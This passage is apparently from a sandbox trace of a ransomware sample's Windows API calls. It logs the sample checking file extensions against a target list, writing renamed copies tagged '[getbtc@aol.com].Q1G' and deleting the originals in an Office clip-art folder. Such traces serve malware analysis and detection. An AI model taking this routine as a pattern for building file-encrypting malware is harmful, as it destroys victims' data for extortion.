[0055.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.222] lstrlenW (lpString=".xlsx") returned 5 [0055.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.222] lstrlenW (lpString=".ppt") returned 4 [0055.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.222] lstrlenW (lpString=".zip") returned 4 [0055.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.222] lstrlenW (lpString=".rar") returned 4 [0055.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString=".bz2") returned 4 [0055.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString=".7z") returned 3 [0055.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.222] lstrlenW (lpString=".dbf") returned 4 [0055.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.222] lstrlenW (lpString=".1cd") returned 4 [0055.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.222] lstrlenW (lpString=".jpg") returned 4 [0055.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.222] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.222] lstrlenW (lpString="AN01039_.WMF") returned 12 [0055.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.223] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3344) returned 1 [0055.223] CloseHandle (hObject=0x1d0) returned 1 [0055.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0055.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.391] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.391] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.806] GetLastError () returned 0x0 [0055.806] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xd10, lpOverlapped=0x0) returned 1 [0055.807] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0055.808] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.808] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.808] SetEndOfFile (hFile=0x230) returned 1 [0055.808] CloseHandle (hObject=0x230) returned 1 [0055.808] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.808] SetEndOfFile (hFile=0x214) returned 1 [0055.809] CloseHandle (hObject=0x214) returned 1 [0055.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0055.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.810] lstrlenW (lpString=".doc") returned 4 [0055.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.810] lstrlenW (lpString=".docx") returned 5 [0055.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.810] lstrlenW (lpString=".pdf") returned 4 [0055.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.810] lstrlenW (lpString=".xls") returned 4 [0055.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.810] lstrlenW (lpString=".xlsx") returned 5 [0055.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.810] lstrlenW (lpString=".ppt") returned 4 [0055.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.810] lstrlenW (lpString=".zip") returned 4 [0055.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.810] lstrlenW (lpString=".rar") returned 4 [0055.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.810] lstrlenW (lpString=".bz2") returned 4 [0055.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.810] lstrlenW (lpString=".7z") returned 3 [0055.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.810] lstrlenW (lpString=".dbf") returned 4 [0055.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.810] lstrlenW (lpString=".1cd") returned 4 [0055.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.810] lstrlenW (lpString=".jpg") returned 4 [0055.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.811] lstrlenW (lpString=".doc") returned 4 [0055.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.811] lstrlenW (lpString=".docx") returned 5 [0055.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.811] lstrlenW (lpString=".pdf") returned 4 [0055.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.811] lstrlenW (lpString=".xls") returned 4 [0055.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.811] lstrlenW (lpString=".xlsx") returned 5 [0055.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.811] lstrlenW (lpString=".ppt") returned 4 [0055.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.811] lstrlenW (lpString=".zip") returned 4 [0055.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.811] lstrlenW (lpString=".rar") returned 4 [0055.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.811] lstrlenW (lpString=".bz2") returned 4 [0055.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.811] lstrlenW (lpString=".7z") returned 3 [0055.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.811] lstrlenW (lpString=".dbf") returned 4 [0055.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.811] lstrlenW (lpString=".1cd") returned 4 [0055.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0055.811] lstrlenW (lpString=".jpg") returned 4 [0055.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.811] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.812] lstrlenW (lpString="AN01184_.WMF") returned 12 [0055.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.812] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3746) returned 1 [0055.812] CloseHandle (hObject=0x214) returned 1 [0055.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0055.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.812] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.812] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.812] GetLastError () returned 0x0 [0055.813] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xea2, lpOverlapped=0x0) returned 1 [0055.814] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0055.815] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.815] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.815] SetEndOfFile (hFile=0x230) returned 1 [0055.815] CloseHandle (hObject=0x230) returned 1 [0055.815] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.816] SetEndOfFile (hFile=0x214) returned 1 [0055.816] CloseHandle (hObject=0x214) returned 1 [0055.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0055.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.817] lstrlenW (lpString=".doc") returned 4 [0055.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.817] lstrlenW (lpString=".docx") returned 5 [0055.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.817] lstrlenW (lpString=".pdf") returned 4 [0055.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.817] lstrlenW (lpString=".xls") returned 4 [0055.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.817] lstrlenW (lpString=".xlsx") returned 5 [0055.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.817] lstrlenW (lpString=".ppt") returned 4 [0055.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.817] lstrlenW (lpString=".zip") returned 4 [0055.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.817] lstrlenW (lpString=".rar") returned 4 [0055.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.817] lstrlenW (lpString=".bz2") returned 4 [0055.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.817] lstrlenW (lpString=".7z") returned 3 [0055.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.818] lstrlenW (lpString=".dbf") returned 4 [0055.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.818] lstrlenW (lpString=".1cd") returned 4 [0055.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.818] lstrlenW (lpString=".jpg") returned 4 [0055.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.818] lstrlenW (lpString=".doc") returned 4 [0055.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.818] lstrlenW (lpString=".docx") returned 5 [0055.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.818] lstrlenW (lpString=".pdf") returned 4 [0055.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.818] lstrlenW (lpString=".xls") returned 4 [0055.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.818] lstrlenW (lpString=".xlsx") returned 5 [0055.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.818] lstrlenW (lpString=".ppt") returned 4 [0055.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.818] lstrlenW (lpString=".zip") returned 4 [0055.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.818] lstrlenW (lpString=".rar") returned 4 [0055.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.818] lstrlenW (lpString=".bz2") returned 4 [0055.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.818] lstrlenW (lpString=".7z") returned 3 [0055.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.818] lstrlenW (lpString=".dbf") returned 4 [0055.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.819] lstrlenW (lpString=".1cd") returned 4 [0055.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0055.819] lstrlenW (lpString=".jpg") returned 4 [0055.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.819] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.819] lstrlenW (lpString="AN01216_.WMF") returned 12 [0055.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.819] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5836) returned 1 [0055.819] CloseHandle (hObject=0x214) returned 1 [0055.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0055.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.819] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.819] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.820] GetLastError () returned 0x0 [0055.820] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x16cc, lpOverlapped=0x0) returned 1 [0055.821] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0055.823] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.823] WriteFile (in: hFile=0x230, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.823] SetEndOfFile (hFile=0x230) returned 1 [0055.824] CloseHandle (hObject=0x230) returned 1 [0055.824] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.824] SetEndOfFile (hFile=0x214) returned 1 [0055.825] CloseHandle (hObject=0x214) returned 1 [0055.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0055.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.825] lstrlenW (lpString=".doc") returned 4 [0055.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.825] lstrlenW (lpString=".docx") returned 5 [0055.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.825] lstrlenW (lpString=".pdf") returned 4 [0055.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.825] lstrlenW (lpString=".xls") returned 4 [0055.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.825] lstrlenW (lpString=".xlsx") returned 5 [0055.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.825] lstrlenW (lpString=".ppt") returned 4 [0055.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.825] lstrlenW (lpString=".zip") returned 4 [0055.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.825] lstrlenW (lpString=".rar") returned 4 [0055.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.826] lstrlenW (lpString=".bz2") returned 4 [0055.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.826] lstrlenW (lpString=".7z") returned 3 [0055.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.826] lstrlenW (lpString=".dbf") returned 4 [0055.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.826] lstrlenW (lpString=".1cd") returned 4 [0055.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.826] lstrlenW (lpString=".jpg") returned 4 [0055.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.826] lstrlenW (lpString=".doc") returned 4 [0055.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.826] lstrlenW (lpString=".docx") returned 5 [0055.826] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.826] lstrlenW (lpString=".pdf") returned 4 [0055.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.826] lstrlenW (lpString=".xls") returned 4 [0055.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.826] lstrlenW (lpString=".xlsx") returned 5 [0055.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.826] lstrlenW (lpString=".ppt") returned 4 [0055.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0055.826] lstrlenW (lpString=".zip") returned 4 [0055.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.826] lstrlenW (lpString=".rar") returned 4 [0055.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.826] lstrlenW (lpString=".bz2") returned 4 [0055.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 